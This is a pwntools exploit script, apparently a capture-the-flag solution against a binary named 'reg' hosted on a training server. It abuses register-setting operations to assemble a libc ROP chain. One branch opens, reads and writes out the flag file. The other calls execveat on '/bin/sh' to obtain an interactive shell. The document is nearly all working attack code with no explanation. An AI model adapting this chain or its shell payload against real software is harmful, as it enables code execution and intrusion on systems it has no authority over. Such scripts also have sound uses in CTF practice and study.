1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * sh = '' def Add(idx:int, direct:bool, content:int): global sh sh.sendline(b'2') sh.sendline(f'{idx} {1 if direct else 2} {content}'.encode()) sleep(0.25)
def Set(idx:int, direct:bool, content:int): global sh sh.sendline(b'1') sh.sendline(f'{idx} {1 if direct else 2} {content}'.encode()) sleep(0.25)
def payload(lo:int, expected:bool): global sh libc = ELF('./libc-2.35.so') if lo: sh = process('./reg') if lo & 0b10: gdb.attach(sh, gdbscript='b *$rebase(0x1497)') else: sh = remote('training.0rays.club', 10084)
base = libc.symbols['_IO_2_1_stderr_'] popRdi = 0x2a3e5 - base popRsi = 0x2be51 - base popRdx = 0x796a2 - base popRcx = 0x3d1ee - base popR8 = 0x1657f6 - base pushRax = 0x41563 - base openAddr = libc.symbols['open'] - base readAddr = libc.symbols['read'] - base writeAddr = libc.symbols['write'] - base execveatAddr = libc.symbols['execveat'] - base
def libcShift(idx, val): Set(idx, False, 31) Add(idx, True, val)
Set(31, False, 26) if expected: Set(0, True, int(b'flag'[::-1].hex(), 16)) libcShift(1, popRdi) Set(2, False, 32) Add(2, True, 0x60 - 0x180) libcShift(3, popRsi) Set(4, True, 0) libcShift(5, openAddr) libcShift(6, popRdi) Set(7, True, 3) libcShift(8, popRsi) Set(9, False, 32) Add(9, True, 0x120 - 0x180) libcShift(10, popRdx) Set(11, True, 55) libcShift(12, readAddr) libcShift(13, popRdi) Set(14, True, 1) libcShift(15, popRdx) Set(16, False, 9) libcShift(17, writeAddr) else: Set(0, True, int(b'/bin/sh'[::-1].hex(), 16)) libcShift(1, popRsi) Set(2, False, 32) Add(2, True, 0x60 - 0x180) libcShift(3, popRdx) Set(4, True, 0) libcShift(5, popRcx) Set(6, True, 0) libcShift(7, popR8) Set(8, True, 0) libcShift(9, execveatAddr)
Set(32, False, 2)
sh.sendline(b'3') sh.interactive()
|